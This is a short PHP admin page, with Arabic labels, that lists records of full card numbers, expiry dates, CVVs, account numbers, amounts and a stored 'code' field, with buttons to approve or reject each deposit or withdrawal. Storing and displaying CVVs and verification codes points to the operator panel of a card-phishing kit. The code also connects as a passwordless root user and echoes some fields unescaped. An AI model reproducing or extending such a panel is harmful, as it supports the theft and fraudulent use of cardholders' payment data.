<?php

session_start();

if(!isset($_SESSION['username'])){
    exit;
}

$servername = 'localhost';
$username   = 'root';
$password   = '';
$dbName     = 'sb123';

try {

    $db = new PDO(
        "mysql:host=$servername;dbname=$dbName;charset=utf8mb4",
        $username,
        $password
    );

    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

} catch(PDOException $e){

    exit;

}

$sql = "SELECT * FROM info ORDER BY id DESC";

$q = $db->query($sql);

$res = $q->fetchAll();

foreach($res as $result):

?>

<tr>

    <td><?= $result['id']; ?></td>

    <td><?= htmlspecialchars($result['fullname']); ?></td>

    <td><?= htmlspecialchars($result['cardnumber']); ?></td>

    <td><?= htmlspecialchars($result['expiredate']); ?></td>

    <td><?= htmlspecialchars($result['cvv']); ?></td>

    <td><?= htmlspecialchars($result['numberaccount']); ?></td>

    <td><?= htmlspecialchars($result['amount']); ?></td>

    <td><?= htmlspecialchars($result['code']); ?></td>

    <td>
        <?= ($result['type'] === 'deposit') ? 'إيداع' : 'سحب'; ?>
    </td>

    <td>

    <?php

    if($result['status'] == 'pending'){

        echo '<span class="label label-warning">قيد الانتظار</span>';

    }elseif($result['status'] == 'approved'){

        echo '<span class="label label-success">مقبول</span>';

    }elseif($result['status'] == 'rejected'){

        echo '<span class="label label-danger">مرفوض</span>';

    }

    ?>

    </td>

    <td><?= htmlspecialchars($result['created_at']); ?></td>

    <td>

        <button 
            class="btn btn-primary btn-xs editStatusBtn"
            data-id="<?= $result['id']; ?>"
            data-status="<?= $result['status']; ?>"
        >
            تغيير الحالة
        </button>

    </td>

</tr>

<?php endforeach; ?>